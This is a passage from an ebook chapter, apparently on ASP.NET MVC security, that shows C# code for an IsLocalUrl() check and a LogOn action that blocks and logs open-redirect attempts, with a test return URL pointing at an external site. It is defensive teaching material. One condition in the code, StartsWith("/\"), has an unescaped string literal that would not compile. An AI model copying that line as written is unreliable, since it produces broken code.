The following code shows the modified IsLocalUrl() method for use with a controller class in ASP.NET MVC 1 and 2 applications:

//Note: This has been copied from the System.Web.WebPages RequestExtensions class
private bool IsLocalUrl(string url)
{
    if (string.IsNullOrEmpty(url))
    {
        return false;
    }

    Uri absoluteUri;
    if (Uri.TryCreate(url, UriKind.Absolute, out absoluteUri))
    {
        return String.Equals(this.Request.Url.Host, 
               absoluteUri.Host, StringComparison.OrdinalIgnoreCase);
    }
    else
    {
        bool isLocal = !url.StartsWith("http:", StringComparison.OrdinalIgnoreCase)
            && !url.StartsWith("https:", StringComparison.OrdinalIgnoreCase)
            && Uri.IsWellFormedUriString(url, UriKind.Relative);
        return isLocal;
    }
}

Now that the IsLocalUrl() method is in place, you can call it from the LogOn action to validate the returnUrl parameter, as shown in the following code:

[HttpPost]
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
   if (ModelState.IsValid)
   {
      if (Membership.ValidateUser(model.UserName, model.Password))
      {
         FormsAuthentication.SetAuthCookie(model.UserName, model.RememberMe);
         if (Url.IsLocalUrl(returnUrl) && returnUrl.Length > 1 
            && returnUrl.StartsWith("/")
            && !returnUrl.StartsWith("//") 
            && !returnUrl.StartsWith("/\"))
         {
            return Redirect(returnUrl);
         }
         else
         {
            return RedirectToAction("Index", "Home");
         }
      }
      else
      {
         ModelState.AddModelError("", 
             "The user name or password provided is incorrect.");
      }
   }

   // If we got this far, something failed, redisplay form
   return View(model);
}

Now you can test an open redirection attack by attempting to log in using an external return URL. Use /Account/LogOn?ReturnUrl=http://www.bing.com/ again. Figure 7.19 shows the login screen with that return URL which will attempt to redirect us away from the site after login.

After successfully logging in, we are redirected to the Home/Index Controller action rather than the external URL, as shown in Figure 7.20.

Taking Additional Actions When an Open Redirect Attempt Is Detected

The LogOn action can take additional actions in the case an open redirect is detected. For instance, you may want to log this as a security exception using ELMAH and display a custom logon message that lets the user know that they've been logged in but that the link they clicked may have been malicious. That logic goes in the else block in the LogOn action:

[HttpPost]
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
    if (ModelState.IsValid)
    {
        if (MembershipService.ValidateUser(model.UserName, model.Password))
        {
            FormsService.SignIn(model.UserName, model.RememberMe);
            if (IsLocalUrl(returnUrl))
            {
                return Redirect(returnUrl);
            }
            else
            {
                // Actions on for detected open redirect go here. 
                string message = string.Format(
                      "Open redirect to to {0} detected.", returnUrl);
                ErrorSignal.FromCurrentContext().Raise(
                      new System.Security.SecurityException(message));
                return RedirectToAction("SecurityWarning", "Home");
            }
        }
        else
        {
            ModelState.AddModelError(
                  "", "The user name or password provided is incorrect.");
        }
    }

    // If we got this far, something failed, redisplay form
    return View(model);
}

Open Redirection Summary

Open redirection attacks can occur when redirection URLs are passed as parameters in the URL for an application. The ASP.NET MVC 3 template includes code to protect against open redirection attacks. You can add this code with some modification to ASP.NET MVC 1 and 2 applications. To protect against open redirection attacks when logging in to ASP.NET MVC 1 and 2 applications, add an IsLocalUrl() method and validate the returnUrl parameter in the LogOn action.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.137.164.24